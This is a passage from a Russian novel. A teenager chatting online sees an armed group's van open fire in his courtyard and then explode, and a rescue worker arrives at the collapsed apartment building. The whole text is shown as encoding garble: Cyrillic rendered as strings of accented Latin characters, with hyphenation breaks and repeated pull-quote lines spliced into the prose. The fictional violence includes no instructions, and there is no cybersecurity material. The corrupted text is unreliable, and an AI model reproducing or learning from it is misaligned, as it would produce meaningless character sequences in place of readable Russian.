áà÷üåé ïëîùàäêå è ðÿäîì ñ íåé íåñêîëüêî ñèìïàòè÷íûõ
äàì ñ ñîáàêàìè. Îäíà èç íèõ ïðèâëåêëà åãî îñîáîå âíèìà-
íèå ñâîåé ÿðêîé âíåøíîñòüþ, íî âíåçàïíî âúåõàâøèé âî
äâîð ãðóçîâèê-ôóðãîí çàñòàâèë åå âìåñòå ñ ñîáàêîé îòñêî-
÷èòü íà ãàçîí, òåì ñàìûì ñêðûâ åå îò Äèìêèíûõ ãëàç. Äî
åãî óøåé äîíåñëàñü ðóãàíü íà íåðóññêîì ÿçûêå, ïîõîæå,
îíà ïðèíàäëåæàëà êàâêàçöàì. Ïîòîì õëîïíóëà äâåðöà ãðó-
çîâèêà, íî Äèìà íèêîãî íå óâèäåë � òî ëè øîôåð íå âûøåë
èç ìàøèíû, òî ëè îí ñòîÿë ñ äðóãîé ñòîðîíû çà ôóðãîíîì.
Ïàðó ðàç ãðîìêî ãàâêíóë ðîòâåéëåð, ïîñëå ÷åãî âñå ñòèõëî.

Äèìà åùå ðàç êèíóë âçãëÿä íà îçåðî, îòìåòèë òàì ïàðó
ëîäîê ñ áåçóìíûìè ðûáàêàìè, êîòîðûå íàèâíî ïîëàãàëè,
÷òî ðûáà â èñêóññòâåííîì âîäîåìå ìîæåò ïîÿâèòüñÿ ñàìà
ñîáîé. Íèêîãäà îí íå ïîíèìàë ýòîé ñòðàñòè ê ðûáíîé ëîâ-
ëå; îí âîîáùå ìàëî ïîíèìàë âñå òî, ÷òî íå èìåëî îòíîøå-
íèÿ ê êîìïüþòåðàì.

� Íó ÷òî, âåðíóëàñü? � ñïðîñèë îí ó êîìïüþòåðà, îáåð-
íóâøèñü â êîìíàòó. � Âðåìÿ âûøëî�

Îòîäâèíóâ øòîðó, Äèìà øàãíóë âíóòðü ïðîõëàäíîé êîì-
íàòû. Â óãëó ýêðàíà ìèãàë çíà÷îê ïðèøåäøåãî ñîîáùåíèÿ.
Îí êðóòàíóë êðåñëî ê ñåáå, îïóñòèëñÿ â íåãî, ñäåëàë íåñ-
êîëüêî îáîðîòîâ, îòòàëêèâàÿñü íîãîé îò ïîëà, äóìàÿ, ÷òî
æå íà ýòîò ðàç ó íåãî ñïðîñÿò.

«Ðàññêàæè î ñåáå�» � ãîðåëî íà ýêðàíå. Ýòîãî Äèìêà íå
îæèäàë. Îí áû õîòåë ïðîäîëæåíèÿ òîãî ëåãêîãî ôëèðòà,
÷òî çàâÿçàëñÿ ó íåãî ñ íåâèäèìîé ñîáåñåäíèöåé, íàçâàâ-
øåéñÿ èíòåðåñíûì è ñòðàííûì èìåíåì Äàíà. Íà øóòêó,
ñâÿçàííóþ ñ òðàíñâåñòèòàìè è Äàíîé Èíòåðíåøíë, îíà íå
îòðåàãèðîâàëà, ÷òî ìîæíî áûëî èñòîëêîâàòü äâîÿêî � ëèáî
êàê íåçíàíèå ôàêòà, ëèáî êàê îáèäó. Äèìà áîëüøå è íå ïû-
òàëñÿ óçíàòü íè÷åãî î ñåêñóàëüíûõ ïðèñòðàñòèÿõ Äàíû, îã-
ðàíè÷èâøèñü ðàçãîâîðîì î åå âíåøíèõ äàííûõ, îäåæäå,
ëþáèìûõ ôèëüìàõ, àêòåðàõ è àêòðèñàõ�

� Î ñåáå, � õìûêíóë Äèìà. � Ëåãêî ñêàçàòü � î ñåáå. Õîòÿ
ìîæíî ïîïðîáîâàòü.

Îí ïîëîæèë ïàëüöû íà êëàâèàòóðó, íà ñåêóíäó çàäóìàë-
ñÿ è íàáðàë, ïðîãîâàðèâàÿ âñëóõ, ÷òîáû íå ñîðâàòüñÿ íà
ïîøëîñòü:

� Ìîå èìÿ òû óæå çíàåøü. Ïðîôåññèÿ � íå ïðèîáðåë,
ìîëîä åùå�

********

Ðàáî÷èé äåíü âûäàëñÿ ñïîêîéíûé, äàæå ñëèøêîì. Òåï-
ëÿêîâ íå ëþáèë ïîäîáíûå òèõèå äåæóðñòâà ïî ðÿäó ïðè-
÷èí. Âî-ïåðâûõ, îíè æóòêî âûìàòûâàëè íåðâíóþ ñèñòåìó.
Æäàòü åæåìèíóòíî, åæåñåêóíäíî òðåâîãè, ïîâîðà÷èâàòü
ãîëîâó ê äâåðÿì âñÿêèé ðàç, êîãäà îíè îòêðûâàþòñÿ, îæè-
äàÿ óâèäåòü â íèõ ïîñûëüíîãî è ñúåìî÷íóþ ãðóïïó, ýòèõ
ëþáèòåëåé «÷åðíóõè» è êðîâè, � ýòî çàñòàâëÿëî óõîäèòü ñ
òàêèõ äåæóðñòâ äîìîé åùå áîëåå èçìîòàííûì, ÷åì ïîñëå
ñóòîê ðàáîòû ãäå-íèáóäü ïîä çåìëåé, â îãíå èëè ïî êîëåíî
â âîäå. Âî-âòîðûõ, Òåïëÿêîâ âñåãäà ÷óâñòâîâàë ñåáÿ âèíî-
âàòûì çà òî, ÷òî äîëÿ èñïûòàíèé â ýòîò äåíü ìèíîâàëà åãî, »
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Îòîäâèíóâ øòîðó, Äèìà
øàãíóë âíóòðü ïðîõëàäíîé

êîìíàòû.



îñîáåííî åñëè îí çíàë, ÷òî íàêàíóíå áûëî î÷åíü è î÷åíü
æàðêî. Êàçàëîñü, ÷òî ðåáÿòà èç ïðåäûäóùåé ñìåíû ñäåëà-
ëè ÷àñòü è åãî ðàáîòû, îáëåã÷àÿ åìó ñóùåñòâîâàíèå, à íà
ñàìîì äåëå îñëîæíÿÿ åãî. Â-òðåòüèõ, è ýòî áûëî õóæå âñå-
ãî, Òåïëÿêîâ îêàçûâàëñÿ íå ãîòîâûì ê ÷ðåçâû÷àéíûì ñèòó-
àöèÿì, îñòàâàÿñü íàåäèíå ñî ñâîèìè ìûñëÿìè î ñåìüå, äî-
ìå, äî÷åðè è ïðî÷èõ áûòîâûõ ìåëî÷àõ, èç êîòîðûõ ñêðîåíà
æèçíü. Ïîðîé, ïîääàâàÿñü íà ýòî êàæóùååñÿ ñïîêîéñòâèå,
îí ïîãðóæàëñÿ â ñåáÿ, è òîãäà ñèðåíà çàñòàâàëà åãî âðàñï-
ëîõ, è òîãäà ÷åãî îí ìîã ñîâåðøèòü îøèáêó. Êîíå÷íî æå, îí
íå ïðèçíàâàëñÿ â ýòîì íèêîìó, òåì áîëåå ïñèõîëîãó ïîä-
ðàçäåëåíèÿ: ìîæíî áûëî çàïðîñòî ëèøèòüñÿ ðàáîòû. Íî
ñåáå � ñåáå ñàìîìó! � îí óæå äàâíî ïðèçíàëñÿ, æèâÿ òîëüêî
ëèøü îæèäàíèåì ýòîé ñàìîé îøèáêè, êîòîðàÿ âûâåðíåò
âñå åãî ñóùåñòâîâàíèå íàèçíàíêó è ïîäòîëêíåò ê òîé ÷åð-
òå, çà êîòîðîé óæå íè÷åãî èçìåíèòü áóäåò íåëüçÿ.

Ñåãîäíÿ îí, êàê áûëî âñåãäà ïðè îòñóòñòâèè âûçîâîâ çà
âñþ ñìåíó, ñèäåë ó òåëåâèçîðà è íåâèäÿùèì âçãëÿäîì
ñìîòðåë íà ìåëüêàþùèå êàäðû íîâîñòåé, ðåêëàìû è êàêèõ-
òî áåñòîëêîâûõ ôèëüìîâ. Ìûñëè åãî áûëè äàëåêî îòñþäà;
îí âñïîìèíàë òå äíè, êîãäà ïðåïîäàâàë â øêîëå àëüïèíèñ-
òîâ, ïðåêðàòèâ ñàì çàíèìàòüñÿ áåçðàññóäíûì ëàçàíüåì ïî
ãîðàì, êîòîðûì áûëà íàïîëíåíà åãî ìîëîäîñòü. Çíàêîìñòâî
ñ æåíîé, ðîæäåíèå äî÷êè, åå ïåðâûå øàãè è ïåðâûå ñëîâà,
ïîëíàÿ óñòðîåííîñòü è áëàãîïîëó÷èå� Ïîêà åãî íå ïðèãëà-
ñèëè â âåäîìñòâî Øîéãó ðàáîòàòü â îòðÿäå Ì×Ñ. Ýòî ïðèã-
ëàøåíèå ïåðåâåðíóëî æèçíü Òåïëÿêîâà ñ íîã íà ãîëîâó.
Åìó ïðèøëîñü óéòè èç øêîëû, òàê êàê ðàáîòà ñïàñàòåëåì
íå òåðïåëà ñîâìåùåíèé. Åìó ïðèøëîñü ñìèðèòüñÿ ñ ãðàôè-
êîì ðàáîòû, à, òî÷íåå, ñ åãî îòñóòñòâèåì: íèêîãäà íåëüçÿ

áûëî ïðåäóãàäàòü, êîãäà è ãäå ìîãóò ïðèãîäèòüñÿ ñïîñîá-
íîñòè Òåïëÿêîâà ïî ïîäúåìó íà ëþáóþ âûñîòó è ñïóñêó â
ãëóáèíû ëèôòîâûõ øàõò è ïåùåð. Åìó ïðèøëîñü ñìèðèòü-
ñÿ ñ ýòèì � åìó, íî íå æåíå. È ñåìåéíàÿ æèçíü ïîëåòåëà êó-
âûðêîì. Îí ïîíèìàë, ÷òî âèíîé âñåìó ðàáîòà, íî, ïîñêîëü-
êó áûë ïðèíöèïèàëüíûì ÷åëîâåêîì, íå ìîã ïîéòè ïðîòèâ
ñâîèõ æèçíåííûõ óñòàíîâîê. Åñëè åãî óìåíèÿ ìîãëè ñïàñòè
æèçíü ÷åëîâåêà � îí äîëæåí èñïîëüçîâàòü èõ ïî ìàêñèìó-
ìó. Ïðàâäà, ýòî íàðóøàëî ñåìåéíûé óêëàä� Íî òóò ïðèõî-
äèëîñü ñïîðèòü òîëüêî ñ ñàìèì ñîáîé, èáî ñ æåíîé îí íå
ñïîðèë óæå äàâíî.

Òåïëÿêîâ ïðèïîäíÿëñÿ íà äèâàíå, ïîóäîáíåå óñòðîèëñÿ
è ñîáðàëñÿ áûëî çàäðåìàòü, êàê âäðóã íàä äâåðüþ çàãîðå-
ëàñü êðàñíàÿ ìèãàþùàÿ ëàìïà, ìîìåíòàëüíî îêðàñèâøàÿ
âñå â êðîâàâûé öâåò. Ñëåäîì ïðèñîåäèíèëñÿ ïðîòèâíûé
çâóê ñèðåíû.

� Êàêîãî ÷åðòà! � íåäîâîëüíî äåðíóëñÿ Òåïëÿêîâ. � Êòî
ïðèäóìàë ýòó ïðîêëÿòóþ ñèðåíó?!

Îí âñòàë, ñäåëàë íåñêîëüêî ýíåðãè÷íûõ âçìàõîâ ðóêàìè
è øèðîêèìè øàãàìè íàïðàâèëñÿ ê ëåñòíèöå. Êîìàíäà óæå
ñîáèðàëàñü.

� Êòî-íèáóäü â êóðñå, ÷òî ñëó÷èëîñü? � ñïðîñèë îí, ïîä-
õîäÿ ê ïàðíÿì. � Êóäà íà ýòîò ðàç?

� Ïîêà ñëîæíî ñêàçàòü. Ñåé÷àñ ïðèäåò áîññ è ïðîëîæèò
íàì êóðñ, � îòîçâàëñÿ âîäèòåëü èõ ñïåöàâòîáóñà, êîòîðîãî
áîëüøå âñåãî èíòåðåñîâàëî, äàëåêî ëè åõàòü. � Òû, ãëàâ-
íîå, íå ïåðåæèâàé � ðàáîòà âñåì íàéäåòñÿ�

� Äà ïîøåë òû, � îãðûçíóëñÿ Òåïëÿêîâ â îòâåò. � Ïî-
ìåíüøå áû åå, ýòîé ðàáîòû�

� Óñòàë? � ðàçäàëñÿ âîïðîñ èç-çà ñïèíû. � Èëè íàäîåëî?
Òåïëÿêîâ íå ñòàë îáîðà÷èâàòüñÿ, ÷òîáû óçíàòü, ó êîãî

æå õâàòèëî óìà ñïðîñèòü ïîäîáíîå. Îí çàõîòåë îòâåòèòü
ðåçêî, íî ñëîâà ïî÷åìó-òî çàñòðÿëè â ãîðëå, îí ìàõíóë ðó-
êîé è ïðîìîë÷àë. Ñëîâî «óñòàë» ïîäõîäèëî, êîíå÷íî æå,
áîëüøå. Íî è «íàäîåëî» òîæå� À ïîòîì ïðèøåë áîññ, è îí
çàáûë ýòîò íåïðèÿòíûé âîïðîñ èç-çà ñïèíû. Ðàáîòà áûëà

íå èç ëåãêèõ; îí âñþ äîðîãó ñ çàêðûòûìè ãëàçàìè âñïîìè-
íàë òîíêîñòè ñâîåãî àëüïèíèñòñêîãî èñêóññòâà, ÷òîáû òàì,
íà ìåñòå, óæå íè íà ìãíîâåíüå íå çàäóìûâàòüñÿ. Ìûñëè î
æåíå è äî÷åðè îòîøëè íà âòîðîé ïëàí: ïåðåêëþ÷àòüñÿ îí
ïîêà åùå íå ðàçó÷èëñÿ�

********

«Ìîëîä åùå» Äèìêà âñå-òàêè âû÷åðêíóë, ÷òîáû íå ïî-
êàçàòüñÿ ñîáåñåäíèöå ìàëîëåòêîé, èñïðàâèë íà «ïîêà
ó÷óñü» � ïóñòü äóìàåò, ÷òî õî÷åò, î åãî âîçðàñòå. «Èíòåðå-
ñû ìîè � íà ïåðâîì ìåñòå âñå, ÷òî ñâÿçàíî ñ êîìïüþòå-
ðîì, � ïðîäîëæèë îí. � Õî÷ó íàó÷èòüñÿ êëàññíî ïðîãðàììè-
ðîâàòü, õî÷ó áûòü ïîõîæèì íà�» Îí çàìÿëñÿ, ïîòîìó ÷òî,
êðîìå Áèëëà Ãåéòñà è Ëèíóñà Òîðâàëüäñà, íà óì íå ïðèõî-
äèë íèêòî.

Â ýòî âðåìÿ âî äâîðå î÷åíü ãðîìêî ðûêíóë òîò ñàìûé
ôóðãîí, ïîòîì åùå è åùå � ñóäÿ ïî âñåìó, âîäèòåëü âû-
ïîëíÿë êàêîé-òî çàìûñëîâàòûé ìàíåâð. Äèìêà óæå ïðåäñ-
òàâèë ñåáå, êàê äðóæíî íà÷èíàþò ðóãàòüñÿ ñòàðóøêè ó
ïîäúåçäîâ, íàäûøàâøèñü ÷åðíûì äûìîì è íàíþõàâøèñü
ñãîðåâøåãî ìàøèííîãî ìàñëà � è âäðóã ïîíÿë, ÷òî, êðîìå
ýòîãî çâóêà äâèãàòåëÿ, îí íå ñëûøèò ñíèçó, ñ óëèöû, áîëü-
øå íè÷åãî: íè åäèíîãî êðèêà, íè åäèíîãî âîçãëàñà âîçìó-
ùåíèÿ. 

À ïîòîì çà îêíîì ÷òî-òî ñóõî ùåëêíóëî.
Äèìêà âçäðîãíóë; íå÷àÿííî øåâåëüíóëñÿ ïàëåö íà

ìûøêå, è íàáðàííîå, íî íå îòðåäàêòèðîâàííîå ñîîáùåíèå
óì÷àëîñü ê Äàíå. Îí äàæå íå îáðàòèë íà ýòî âíèìàíèÿ � òà
òèøèíà, ÷òî òóìàíîì íàïëûâàëà èç-ïîä øòîðû, ñëàáî êî-
ëûøóùåéñÿ ó áàëêîííîé äâåðè, ïóãàëà åãî. Îí îñòîðîæíî
ïðèïîäíÿëñÿ â êðåñëå � è ùåë÷îê, íà ýòîò ðàç ïîêàçàâøèé-
ñÿ áîëåå ãðîìêèì, ïîâòîðèëñÿ.

Äèìêà íàõìóðèë áðîâè, ñîîáðàæàÿ, ÷òî æå ïðîèñõîäèò,
êàê âäðóã íà óëèöå çàêðè÷àëà æåíùèíà, çàêðè÷àëà ãðîìêî,
ïðîñòî «à-à-à!..», à ñëåäîì ãðîõíóëà àâòîìàòíàÿ î÷åðåäü. Â
òîì, ÷òî ýòî áûë àâòîìàò, Äèìêà íå ñîìíåâàëñÿ. Îí ìàøè-
íàëüíî ïðèãíóëñÿ, êðåñëî ïîêàòèëîñü â ñòîðîíó, îí åäâà íå
óïàë, íî óäåðæàëñÿ è íà êîðòî÷êàõ ïîäîáðàëñÿ ê áàëêîí-
íîé äâåðè. Âûñòðåëû ïîâòîðèëèñü, ñëåäîì ðàçäàëñÿ êðèê,
íî íå òàêîé, ÷òî èçäàëà æåíùèíà, à âëàñòíûé, ñèëüíûé �
êòî-òî îòäàâàë ïðèêàçû. Òà æå êàâêàçñêàÿ ðå÷ü. Â ãîëîâå
Äèìû ïðîíåñëàñü îäíà-åäèíñòâåííàÿ ìûñëü: «Òåððîðèñ-
òû!» Îí ïðèæàëñÿ ñïèíîé ê áàòàðåå è çàìåð â îæèäàíèè
àâòîìàòíîé î÷åðåäè. Ïî÷åìó-òî îí áûë óâåðåí, ÷òî ïóëè
íàéäóò èìåííî åãî îêíî è îíî ñ õðóñòîì îñûïëåòñÿ åìó íà
ãîëîâó. Òåëî ìåëêî, ïðåäàòåëüñêè çàäðîæàëî, ñïèíà ïëîò-
íåå ïðèæàëàñü ê áàòàðåå, íå çàìå÷àÿ åå ðåáðèñòîñòè. Çàõî-
òåëîñü ñòàòü ìàëåíüêèì, íåçàìåòíûì, ðàñòâîðèòüñÿ�

Åùå îäíà àâòîìàòíàÿ î÷åðåäü. Ãäå-òî äàëåêî çàâûëà
ñèðåíà, ãðîìêî è ïðîíçèòåëüíî. È, ñëîâíî ýòî áûë ñèãíàë ê
äåéñòâèþ, ñ óëèöû äîíåñëîñü ñòîëüêî ðàçíûõ çâóêîâ, ÷òî
Äèìêà ïåðåñòàë ñîîáðàæàòü, ÷òî æå òàì ïðîèñõîäèò. Õðèï-
ëî è áåñïîðÿäî÷íî çàëàÿëè ñîáàêè, çàãîëîñèëè êàêèå-òî
æåíùèíû, âûêðèêèâàþùèå èìåíà ñâîèõ äåòåé; ïàðó ðàç
ùåëêíóëè ïèñòîëåòíûå âûñòðåëû, ðûêíóë ìîòîöèêëåòíûé
äâèæîê, óíîñÿùèé íåâèäèìîãî õîçÿèíà ïîäàëüøå îò ïåðå-
ñòðåëêè. È íàïîñëåäîê çàñâèñòåëè òîðìîçà � ïî-âèäèìîìó,
ìèëèöåéñêèé ïàòðóëü âëåòåë íà òåððèòîðèþ ìèêðîðàéîíà
íà ïðèëè÷íîé ñêîðîñòè. Ñèðåíà çàìîë÷àëà, è êòî-òî êðèê-
íóë â ìåãàôîí: «Áðîñàé îðóæèå, òâàðü!», ãðîõíóë åùå îäèí
âûñòðåë èç ïèñòîëåòà, à ïîòîì ïðîçâó÷àëà äëèííàÿ àâòî-
ìàòíàÿ î÷åðåäü � íàñòîëüêî äëèííàÿ, ÷òî, êîãäà îðóæèå çà-
ìîëêëî, ýõî åùå äîëãî çâó÷àëî â Äèìêèíûõ óøàõ.

Ñïóñòÿ íåñêîëüêî ñåêóíä Äèìà ïîíÿë, ÷òî âñå êîí÷è-
ëîñü. Òèøèíà ïåðåñòàëà áûòü íàïðÿæåííîé � ñêîðåå, îíà ãî-
âîðèëà î òîì, ÷òî âíèçó, ïîä áàëêîíîì, óæå íèêòî íå áóäåò
ñòðåëÿòü. Îí êðàåì ãëàçà ïîñìîòðåë íà ýêðàí ìîíèòîðà � îò-
âåòà îò Äàíû ïîêà íå ïðèøëî, ïîòîì âñòàë â ïîëíûé ðîñò,
óäèâëÿÿñü, êàê ìîã èñïóãàòüñÿ øàëüíîé ïóëè, êîòîðàÿ ïî
âñåì çàêîíàì ôèçèêè íå ìîãëà áû âëåòåòü â åãî îêíà.

Îòîäâèíóâ øòîðó, îí ðèñêíóë âûãëÿíóòü íà áàëêîí, îò-
ìå÷àÿ ïî ñòîðîíàì òàêèõ æå îñòîðîæíûõ ñîñåäåé � êòî-òî
îòãîíÿë íå â ìåðó ëþáîïûòíûõ ÷ëåíîâ ñåìüè âíóòðü êâàð-
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Â ãîëîâå Äèìû ïðîíåñëàñü
îäíà-åäèíñòâåííàÿ ìûñëü:

«Òåððîðèñòû!»



òèðû, êòî-òî íåðâíî ïðèêóðèâàë, ðàçìàõèâàÿ â âîçäóõå ãî-
ðÿùåé ñïè÷êîé, áóäòî áîÿñü áðîñèòü åå âíèç ñ áàëêîíà.
Ñêðèï áàëêîííûõ äâåðåé è øàðêàíüå íîã ñëûøàëèñü è
ñâåðõó, è ñíèçó îò Äèìêè.

Ïàðà ãîëóáåé, çàáèâøèõñÿ â óãîë áàëêîíà, ðâàíóëàñü â
íåáî, åäâà óâèäåâ õîçÿèíà êâàðòèðû. Äèìêà âçäðîãíóë, íî
íå èñïóãàëñÿ, ïîäîøåë ê ïåðèëàì è ïîñìîòðåë âíèç, êàê è
åùå ïðèìåðíî äâåñòè ÷åëîâåê íà áàëêîíàõ ñ ýòîé ñòîðîíû
äîìà. Îêîëî ïîäúåçäà, ïåðåãîðîäèâ òðîòóàð, ñòîÿë òîò ñà-
ìûé ôóðãîí, ñ êîòîðîãî, êàê äóìàë Äèìà, âñå è íà÷àëîñü.
Âîçëå íåãî ëèöîì âíèç ëåæàë ÷åëîâåê, ðóêè åãî áûëè ðàñ-
êèíóòû, îäíà èç íèõ ëåæàëà íà àâòîìàòå Êàëàøíèêîâà. Â
êàáèíå ôóðãîíà áûëè ïðîñòðåëåíû ñòåêëà; êîëåñà ñïóùå-
íû, èç-çà ÷åãî îí âûãëÿäåë çàìåòíî ïåðåêîøåííûì. Â ïÿò-
íàäöàòè-äâàäöàòè ìåòðàõ ñòîÿë ìèëèöåéñêèé æèãóëåíîê ñ
ðàñêðûòûìè äâåðÿìè; âîçëå îäíîé èç íèõ ïàðåíü â ÿðêî-
çåëåíîì æèëåòå ñ íàäïèñüþ «ÃÈÁÄÄ» âîçèëñÿ íàä ñâîèì
íàïàðíèêîì, ëåæàùèì âîçëå êîëåñà. À íà ñîáà÷üåé ïëî-
ùàäêå ëåæàëà, íå øåâåëÿñü, òà ñàìàÿ äåâóøêà, ÷òî ïîíðà-
âèëàñü Äèìêå. Ðÿäîì ñ íåé ìîë÷à ñèäåë ðîòâåéëåð. 

Äèìêà âñòðåòèëñÿ âçãëÿäîì ñ ñîñåäîì ïî ýòàæó, íåäîó-
ìåííî ïîæàë ïëå÷àìè è êèâíóë â ñòîðîíó ïðîèñõîäÿùåãî.
Îòâåòîì áûë òàêîé æå íåïîíèìàþùèé âçãëÿä. Çà ñïèíîé
áëÿìêíóë çâóê ïðèõîäà ñîîáùåíèÿ. Äèìêà äåðíóëñÿ áûëî
ïîñìîòðåòü, ÷òî æå òàì íàïèñàëà Äàíà, íî óæ î÷åíü èíòå-
ðåñíî áûëî óçíàòü, ÷åì æå âñå çàêîí÷èòñÿ. Îí ìûñëåííî
ìàõíóë ðóêîé íà êîìïüþòåð è âíîâü ïðèëüíóë ê ïåðèëàì. È
Â ÝÒÎÒ ÌÎÌÅÍÒ ÔÓÐÃÎÍ ÂÇÎÐÂÀËÑß.

********

Åùå èçäàëåêà îíè óâèäåëè ýòîò óæàñ.
Êàæäûé ðàç, ïðèáûâàÿ íà ïîäîáíûå ïðîèñøåñòâèÿ, Òåï-

ëÿêîâ óäèâëÿëñÿ òîìó, íàñêîëüêî ëþäè èçîáðåòàòåëüíû â
ñïîñîáàõ óíè÷òîæåíèÿ äðóã äðóãà. È íàñêîëüêî îíè æåñòî-
êè. Òðóäíî áûëî ñêàçàòü, êàêàÿ ñèëà óíè÷òîæèëà äâà ïîäú-
åçäà îãðîìíîãî äîìà, ñëîæèâ èõ, êàê êàðòî÷íûé äîìèê. Ãðó-
äà ðàçâàëèí îãðîìíîé êó÷åé íàêðûëà ñîáîé ïîëîâèíó äâî-
ðà, íåñêîëüêî ìàøèí íà ñòîÿíêå è âñþ äåòñêóþ ïëîùàäêó.
Èìåííî ýòà ïëîùàäêà, çàâàëåííàÿ áåòîííûìè êîíñòðóêöè-
ÿìè, ñêðó÷åííûìè ñèëîé âçðûâà â íåìûñëèìûå ôèãóðû,
çàñòàâèëà ñåðäöå Òåïëÿêîâà áèòüñÿ ñèëüíåå. Îí óâèäåë
ÿðêèå, öâåòíûå êà÷åëè, íàêëîíèâøèåñÿ ïîä íååñòåñòâåí-
íûì óãëîì, «ãðèáîê» ñ øëÿïêîé, ðàñêðàøåííîé ïîä ìóõî-
ìîð, âñòàâøóþ íà äûáû ïåñî÷íèöó�

Àâòîáóñ îñòàíîâèëñÿ òàì, êóäà ñìîã äîåõàòü, � ìàêñè-
ìàëüíî áëèçêî ê ðàçâàëèíàì. Ïî ïóòè èõ óæå òùàòåëüíî
ïðîèíñòðóêòèðîâàëè íà ïðåäìåò òîãî, ÷åì ïðèäåòñÿ çàíè-
ìàòüñÿ. Ýíòóçèàçìà íà ëèöå Òåïëÿêîâ íè ó êîãî íå çàìåòèë �
ðàáîòàòü ïðèäåòñÿ â îñíîâíîì ñ òðóïàìè.

Ïî ïðàâäå ñêàçàòü, çà ãîäû ðàáîòû â Ì×Ñ îí óæå ïðè-
âûê ê ñìåðòè. Íå ðàç è íå äâà Òåïëÿêîâ âûòàñêèâàë èç ðàç-
âàëèí îáåçãëàâëåííûå òåëà, íåîäíîêðàòíî âûíîñèë íà ðó-
êàõ ëþäåé, êîòîðûå óìèðàëè â òðåõ ìåòðàõ îò òåõ êàìåííûõ
ìîãèë, â êîòîðûõ ñîïðîòèâëÿëèñü ïðèõîäó ýòîé ñàìîé
ñìåðòè íåñêîëüêî ÷àñîâ. Âèä êðîâè è îáåçîáðàæåííûõ òåë
íå ïóãàë åãî � ïðîñòî äîáàâëÿë â æèçíü íåãàòèâà. Îí ðàáî-
òàë ñ ìåðòâûìè, êàê ñ ìàòåðèàëîì � âûòàñêèâàÿ èç-ïîä çà-
âàëîâ òî, ÷òî îñòàëîñü îò íåêîãäà æèâûõ ëþäåé, îí íàó÷èë-
ñÿ àáñòðàãèðîâàòüñÿ, èíà÷å æèçíü ñòàëà áû íåâûíîñèìîé�

� Áûñòðî, áûñòðî! � êðèêíóë íà÷àëüíèê, ñòîÿ âîçëå äâå-
ðè àâòîáóñà. Êîìàíäà ðâàíóëàñü íàðóæó, íà õîäó ðàñïðåäå-
ëÿÿñü íà ìèíè-ãðóïïû, êàæäàÿ èç êîòîðûõ èìåëà ñâîþ
ñîáñòâåííóþ ñïåöèàëèçàöèþ. Òåïëÿêîâ âûñêî÷èë íà óëèöó
îäíèì èç ïîñëåäíèõ, òàê êàê ñèäåë â ñàìîì êîíöå àâòîáóñà.

Ðåáÿòà íà áåãó íàäåâàëè êàñêè è ïðèñîåäèíÿëèñü ê òåì,
êòî óæå ïðèáûë íà ìåñòî òðàãåäèè èëè íàõîäèëñÿ çäåñü ñ
ñàìîãî íà÷àëà.

Æèòåëè äîìà, âûáåæàâøèå èç óöåëåâøèõ ïîäúåçäîâ,
ðàçäèðàÿ ïàëüöû â êðîâü, ðàñòàñêèâàëè òå îáëîìêè, ÷òî
áûëè èì ïî ñèëàì. Íàä ìåñòîì òðàãåäèè êëóáèëàñü ïûëü,
âñþäó âàëÿëîñü áåòîííîå êðîøåâî, ñèëîé âçðûâà ðàçáðî-
ñàííîå ïî îãðîìíîé òåððèòîðèè. Òåïëÿêîâ, ïåðåñêî÷èâ ÷å-
ðåç íåñêîëüêî ïîêîðåæåííûõ ïëèò, îñòàíîâèëñÿ íàïðîòèâ

ðóõíóâøåé ñåêöèè äîìà è îñìîòðåëñÿ. Íåïîäàëåêó óæå íà-
ìåòèëàñü ìàëåíüêàÿ ïëîùàäêà ñ ëåæàùèìè íà íåé òåëàìè;
íåêîòîðûå áûëè íàêðûòû ïðîñòûíÿìè èëè êóðòêàìè, îñ-
òàëüíûå íåìèãàþùèìè ãëàçàìè ñìîòðåëè â íåáî, ïðîñòèâ-
øèñü ñ ìèðîì. Òåïëÿêîâ áûñòðî îòâåë ãëàçà â ñòîðîíó, íî
êàðòèíà ÷åòêî âñòàëà ïåðåä åãî ãëàçàìè � ïëà÷óùèå íàä
íåñêîëüêèìè òðóïàìè æåíùèíû, êðèêè î ïîìîùè, ìåäëåí-
íî áðåäóùèé ìåæäó ìåðòâûìè ÷åëîâåê ñ ïëàíøåòêîé è â
áåëîì õàëàòå, äåëàþùèé ïîìåòêè â êàêîì-òî äîêóìåíòå.

Óæå çàìåòíî ñòåìíåëî; äâîð îñâåùàëñÿ áëèêàìè ìèãà-
ëîê «Ñêîðîé ïîìîùè» è ïîæàðíûõ ìàøèí. Âíåçàïíî îòêó-
äà-òî ñáîêó óäàðèë ìîùíûé ñâåò. Òåïëÿêîâ íå ñòàë îãëÿäû-
âàòüñÿ, çíàÿ ïðåêðàñíî, ÷òî ýòî ïðèáûëè ïðîæåêòîðíûå óñ-
òàíîâêè èç èõ îòðÿäà. Ïàðà ëó÷åé îñâåòèëà ïîäíîæèå äîìà,
îñòàëüíûå âçÿëè â ïåðåêðåñòèå ïðîâàë ìåæäó ïîäúåçäàìè.

Òåïëÿêîâ îãëÿíóëñÿ ïî ñòîðîíàì, îòìåòèë, ÷òî ðåáÿòà
óæå âòÿíóëèñü â ðàáîòó, ñäåëàë íåñêîëüêî øàãîâ ê ðàçâà-
ëèíàì, âíèìàòåëüíî ñìîòðÿ ñåáå ïîä íîãè. ×åðåç ïÿòíàä-
öàòü ìèíóò îíè ñ íàïàðíèêîì âûòàùèëè ïåðâîãî ÷åëîâåêà,
ìóæ÷èíó ñ ïåðåëîìàííûìè íîãàìè, êîòîðûé íå êðè÷àë è íå
ñòîíàë, à òîëüêî èçìó÷åííûì âçãëÿäîì ñìîòðåë íà ïîêà÷è-
âàþùèåñÿ ëó÷è ïðîæåêòîðîâ ó ñåáÿ íàä ãîëîâîé è ïîñòî-
ÿííî îáëèçûâàë ãóáû. Îíè îòíåñëè åãî ê «íåîòëîæêå», õè-
ðóðã êèíóë ìíîãîçíà÷èòåëüíûé âçãëÿä íà ìóæ÷èíó, ïîòîì
íà ñïàñàòåëåé, ÷òî-òî ïðîãîâîðèë ìåäñåñòðå, Òåïëÿêîâ çà
îáùèì øóìîì íè÷åãî íå ðàçîáðàë, äà îñîáî è íå ñòàðàëñÿ,
ïðèñëóøèâàÿñü òîëüêî ê òîìó, ÷òî çâó÷àëî â åãî íàóøíèêå.
Òà íûðíóëà êóäà-òî âãëóáü ìàøèíû, âûòàùèëà øïðèö, óêî-
ëîëà ïîñòðàäàâøåãî â íîãó ïðÿìî ñêâîçü áðþêè è ïîñòàâè-

ëà ãàëî÷êó â òåòðàäè. ×åðåç ïàðó ñåêóíä ìóæ÷èíà ïåðåñòàë
îáëèçûâàòü ãóáû, çàêðûë ãëàçà è çàäûøàë ðîâíåå.

� Äàëüøå! � êèíóë Òåïëÿêîâ íàïàðíèêó è, ðàçâåðíóâ-
